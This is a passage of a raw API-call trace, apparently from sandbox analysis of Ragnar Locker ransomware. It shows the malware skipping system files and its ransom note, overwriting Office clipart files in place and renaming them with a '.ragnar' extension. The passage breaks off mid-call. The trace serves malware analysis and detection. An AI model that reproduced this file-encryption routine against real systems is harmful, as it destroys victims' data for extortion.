[0088.998] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.998] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.998] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.998] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.998] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf")) returned 0x20 [0088.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.999] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1140) returned 1 [0088.999] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x46b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.999] GetProcessHeap () returned 0x580000 [0088.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.999] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.000] VirtualAlloc (lpAddress=0x0, dwSize=0x474, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.001] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.001] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.001] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x474, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x474, lpOverlapped=0x0) returned 1 [0089.001] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.001] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x474, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.001] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x474, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x474, lpOverlapped=0x0) returned 1 [0089.001] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x474, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.001] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.001] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.001] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.001] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.001] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.002] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.002] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.002] GetProcessHeap () returned 0x580000 [0089.002] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.002] CloseHandle (hObject=0xf4) returned 1 [0089.002] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" [0089.002] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.ragnar_FD7BD9FC" [0089.002] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.002] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38e66000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38e66000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02092_.WMF", cAlternateFileName="")) returned 1 [0089.003] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.003] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02092_.WMF" | out: lpString1="NA02092_.WMF") returned="NA02092_.WMF" [0089.003] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF") returned=".WMF" [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="autorun.inf") returned 1 [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="boot.ini") returned 1 [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="bootfont.bin") returned 1 [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="bootsect.bak") returned 1 [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="bootmgr") returned 1 [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="bootmgr.efi") returned 1 [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="desktop.ini") returned 1 [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="iconcache.db") returned 1 [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="ntldr") returned -1 [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="ntuser.dat") returned -1 [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="ntuser.ini") returned -1 [0089.003] lstrcmpiW (lpString1="NA02092_.WMF", lpString2="thumbs.db") returned -1 [0089.003] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.003] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.003] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.003] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.003] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.003] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.003] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf")) returned 0x20 [0089.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.004] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1644) returned 1 [0089.004] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x663, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.004] GetProcessHeap () returned 0x580000 [0089.004] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.004] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.005] VirtualAlloc (lpAddress=0x0, dwSize=0x66c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.005] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.006] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.006] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x66c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x66c, lpOverlapped=0x0) returned 1 [0089.006] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.006] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x66c, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.006] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x66c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x66c, lpOverlapped=0x0) returned 1 [0089.006] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x66c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.006] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.006] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x66c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.006] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.006] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.006] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.006] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.007] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.007] GetProcessHeap () returned 0x580000 [0089.007] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.007] CloseHandle (hObject=0xf4) returned 1 [0089.007] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" [0089.007] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.ragnar_FD7BD9FC" [0089.007] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.007] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308e2500, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x308e2500, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02093_.WMF", cAlternateFileName="")) returned 1 [0089.007] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.007] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02093_.WMF" | out: lpString1="NA02093_.WMF") returned="NA02093_.WMF" [0089.007] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF") returned=".WMF" [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="autorun.inf") returned 1 [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="boot.ini") returned 1 [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="bootfont.bin") returned 1 [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="bootsect.bak") returned 1 [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="bootmgr") returned 1 [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="bootmgr.efi") returned 1 [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="desktop.ini") returned 1 [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="iconcache.db") returned 1 [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="ntldr") returned -1 [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="ntuser.dat") returned -1 [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="ntuser.ini") returned -1 [0089.008] lstrcmpiW (lpString1="NA02093_.WMF", lpString2="thumbs.db") returned -1 [0089.008] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.008] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.008] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.008] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.008] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.008] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.008] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf")) returned 0x20 [0089.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.009] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=672) returned 1 [0089.009] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x297, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.009] GetProcessHeap () returned 0x580000 [0089.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.009] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.010] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.010] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.010] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.010] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a0, lpOverlapped=0x0) returned 1 [0089.010] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.010] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.010] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a0, lpOverlapped=0x0) returned 1 [0089.010] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.010] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.010] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.010] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.010] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.011] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.011] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.011] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.011] GetProcessHeap () returned 0x580000 [0089.011] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.011] CloseHandle (hObject=0xf4) returned 1 [0089.011] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" [0089.011] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.ragnar_FD7BD9FC" [0089.011] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.012] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29651800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29651800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1fe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02124_.WMF", cAlternateFileName="")) returned 1 [0089.012] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.012] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02124_.WMF" | out: lpString1="NA02124_.WMF") returned="NA02124_.WMF" [0089.012] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF") returned=".WMF" [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="autorun.inf") returned 1 [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="boot.ini") returned 1 [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="bootfont.bin") returned 1 [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="bootsect.bak") returned 1 [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="bootmgr") returned 1 [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="bootmgr.efi") returned 1 [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="desktop.ini") returned 1 [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="iconcache.db") returned 1 [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="ntldr") returned -1 [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="ntuser.dat") returned -1 [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="ntuser.ini") returned -1 [0089.012] lstrcmpiW (lpString1="NA02124_.WMF", lpString2="thumbs.db") returned -1 [0089.012] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.012] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.012] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.012] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.012] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.012] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.012] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf")) returned 0x20 [0089.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, 